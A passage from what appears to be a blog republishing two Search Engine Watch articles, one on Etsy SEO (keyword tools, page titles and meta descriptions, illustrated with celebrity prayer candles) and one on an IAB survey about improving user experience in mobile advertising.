Marmalead is a great tool to find keywords for Etsy shops. With it you can type in a tag (or keyword) and see total results or competing products and shops, total views, average views per week, average favorites per week, and much more. F

or a more in-depth explanation of this tool and how to use it for keywords, check out the Ultimate Etsy SEO Guide on Marketing Artfully.

Another free option to find keywords for your business – whether you’re a painter or sell custom koozies – is the Google Keyword Planner Tool.

In the Keyword Planner, you can enter one or multiple keywords and Google will tell you a rough estimate of how many searches there are a month, the competition, suggested bid (if you were running an Adwords campaign), and related keywords.

This provides insight as to how people are searching for products related to what you offer.

Let’s say you sell celebrity prayer candles, which I hope you do. Instead of using the keyword “celebrity prayer candles”, you can also try “celebrity candles” or even “funny prayer candles.”

Although “celebrity prayer candles” may be your exact item there is an opportunity to take a top spot for “funny prayer candles” since no shops are currently optimized around it (see screenshot below).

Choosing keywords that have lower search volume, less competition, and are specifically related to your products may be better choices to pull in relevant traffic.

Slight variations in keywords can make all the difference, and having keywords at your disposal is great ammunition, whether you have an Etsy shop or a blog on a WordPress site. You need to know what people are looking for and how to reach them.

Make sure to keep a list of applicable keywords ready whenever you are creating a new product listing.

Optimize your Etsy shop for Etsy and Google… but also your customers

You’ve got those awesome keywords at your disposal. Now it’s time to use them!

The coolest thing keywords can do is show you how people are actually searching for your items. Instead of guessing in the dark, you can use terms that potential customers are using to find your products.

Optimizing both your shop and products are essential to being found on Google and to have people click through. Let’s return to our favorite prayer candle example.

Above are the top two results for ‘celebrity prayer candles’. The first result has a meta description that is the proper length and tells you about the business, but the business name is cut off from the page title.

On the other hand, the second result has the business name in the page title (but before the keyword) and the meta description is loaded with too much information and is not succinct.

A page title should be max 65 characters and the meta description should be a maximum of 140 characters. Your page title/store title should quickly summarize what your business does and its name.

A better page title for the first Etsy store might be “Celebrity Prayer Candles | Granny’s Hope Chest”. This title is short, but lets you know what the store offers and what it’s called.

A great tool to preview what your shop title and announcement will look like is the Google SERP Snippet Optimization Tool.

Optimize your Etsy product listings

If you’re trying to move specific product on Etsy then you need to optimize: 1. title description, 2. tags, 3. the first sentence of the product description, 4. categories and materials.

Google pulls this information to create what shows up in search engine result pages, so optimizing properly can help boost traffic on specific products.

The Etsy product title is what Google uses for your listing’s title tag, H1 tag, and image alt tag for each page so make it informative and keyword optimized.

Scott Taft does a great job of further explaining how your Etsy store translates on Google.

Let’s say you not only create celebrity prayer candles, but you really kick it up a notch and specifically create Steve Buscemi prayer candles.

Yes, there are an average of 30 searches a month for “Steve Buscemi Prayer Candle,” according to Google Keyword Planner. Since Buscemi prayer candles are a little more popular than you would imagine, optimizing your product listing for both Etsy and Google can make a big difference in separating your Steve candles from the rest of the celebrity candle pack.

Again, make sure your product title uses a keyword before your business name and is 65 characters or less.

In this case, if someone is looking for a Steve Buscemi prayer candle then chances are they have a pretty good sense of humor, so your product description should be written to draw a potential customer in with witty copy.

The meta description pulls the first sentence from your product description (as Scott Taft points out in the image below). Remember to make the sentence close to 120 characters and include the same keyword from your page title, if possible.

Using the keyword ‘Steve Buscemi prayer candle’, I created a keyword-focused page title and meta description that is clear, concise, and may appeal to Buscemi fans. The page title/title description is 55 characters and the product/meta description is 116 characters.

Creating Etsy product titles/page titles and meta/product descriptions that are keyword focused, informative, and fun can help an artist stay visible on Google.

Implementing a keyword strategy may seem confusing and monotonous at first, but it will eventually become routine and is sure to yield results.

Understanding how people search for and see your shop and products is essential to performing well as the customized market grows. When it comes to SEO, try to think like a human first and a search engine second.

No matter what you’re selling, take a few minutes to think about how you would be searching for your product on a search engine and then use the tools and tips to create a strategy. A competitive space isn’t a bad thing when you understand your audience and how to reach them.

Maddie Silverstein is an SEO Analyst at DigitasLBi and a contributor to SEW. You can connect with Maddie on Twitter: @maddigler.

The article SEO for Etsy: three tips to improve your store’s search visibility was first seen from https://searchenginewatch.com

73% of marketers believe UX in digital advertising needs to be improved

Digital advertising is experiencing a shift towards a mobile and multiscreen world, and despite all the available opportunities, user experience is not always satisfactory.

Interactive Advertising Bureau, Kargo and Refinery29 conducted a survey among 283 marketers and media agency executives, discussing how the advertising experience can be improved.

According to IAB’s Improving Digital Advertising Experiences with Liquid Creativity report, 73% of marketers feel that user experience has to be improved in digital advertising.

There is consensus about the many different challenges they need to overcome when creating a campaign, with ad clutter, creativity and user experience being chief among their biggest problems.

In fact, ad clutter has led many users to ad blocking, due to the quantity, irrelevance and disruptive nature of many ads. According to Mary Meeker’s 2016 Internet Trends Report, the use of ad blocking has significantly increased over the past few years…

Michael Lebowitz, Founder and CEO, Big Spaceship, is not surprised by this increase:

“We added negativity with more tracking and more cookies; we increased negative values to consumers progressively instead of adding new value to them.”

User experience is more important than ever for consumers and that’s what brands tend to forget when creating a new ad. It’s the combination of speed, relevance, quality and security that make users appreciate an advertising experience and modern marketers should focus more in this direction.

How important is the user experience then in a mobile world? Susan Credle, Global Chief Creative Officer of FCB, replies:

“If you don’t get the design right in the mobile-first world, you will miss the largest audience. If users have to do all the work, scrolling, moving back and forth on mobile, the odds of me sticking with you is small. The mobile-first world has a lot to do with UX, understanding design over creatives.”

The challenges of UX in mobile advertising

In order to improve user experience in mobile advertising, it is important to begin with the realisation that a mobile screen is different from traditional media and “bigger screens.”

As people use a mobile screen for different reasons than they do for a laptop or a TV, so marketers should seek new approaches to stay relevant and get their message heard.

According to Steve Wax, Managing Partner, The Cooke Wax Partnership, the key to success in the mobile world is to “provoke people, move and engage them. Build into the experience you already have on mobile, while understanding the utility unique to mobile.”

IAB’s survey showed that 79% of marketers and ad buyers consider the overall site/app experience and the page’s load time very important, while creative quality and content relevance are also close. A positive advertising experience should focus then on offering the necessary value to the user, establishing a relationship that is both useful and rewarding.

It’s becoming clear that user experience in mobile advertising will always have areas of improvement and as the challenges keep increasing, it will be even harder (but possibly more rewarding) to stay up-to-date.

How to improve the digital advertising experience

Despite the challenges in mobile advertising, there are still many ways to take advantage of the rise of mobile, and these tips may form the start of a seamless advertising experience:

1. Know the audience. No matter how many changes mobile UX may bring, the proper understanding of your audience is always the first step to a successful campaign. It’s all about delivering the right content for the right audience.
2. Integrate the right content in the right context. By the time you learn your audience, it’s time to create the best content according to the context. The quantity and even the quality of the content may not be enough if you don’t take into consideration the context.
3. Shift user approach from transaction-driven to relationship-driven. Engagement may be easier if you start building a relationship with your consumers. Start with one step at a time and loyalty might become easier.
4. Improve UX design. A better user experience leads to more positive results. Whether it’s the page load time, the responsive design, or the ad clutter, there are certainly many areas to consider in mobile advertising.
5. Take risks to innovate and maintain creativity. Don’t be afraid to experiment with new trends and it’s a good idea to use the creativity along with technology and data to ensure that you stay ahead of your competitors, capturing the attention of your audience.
6. Improve upon efforts at industry standardisation and collaboration. Don’t forget to be part of the industry in key areas that are constantly changing.

The article 73% of marketers believe UX in digital advertising needs to be improved was first seen from https://searchenginewatch.com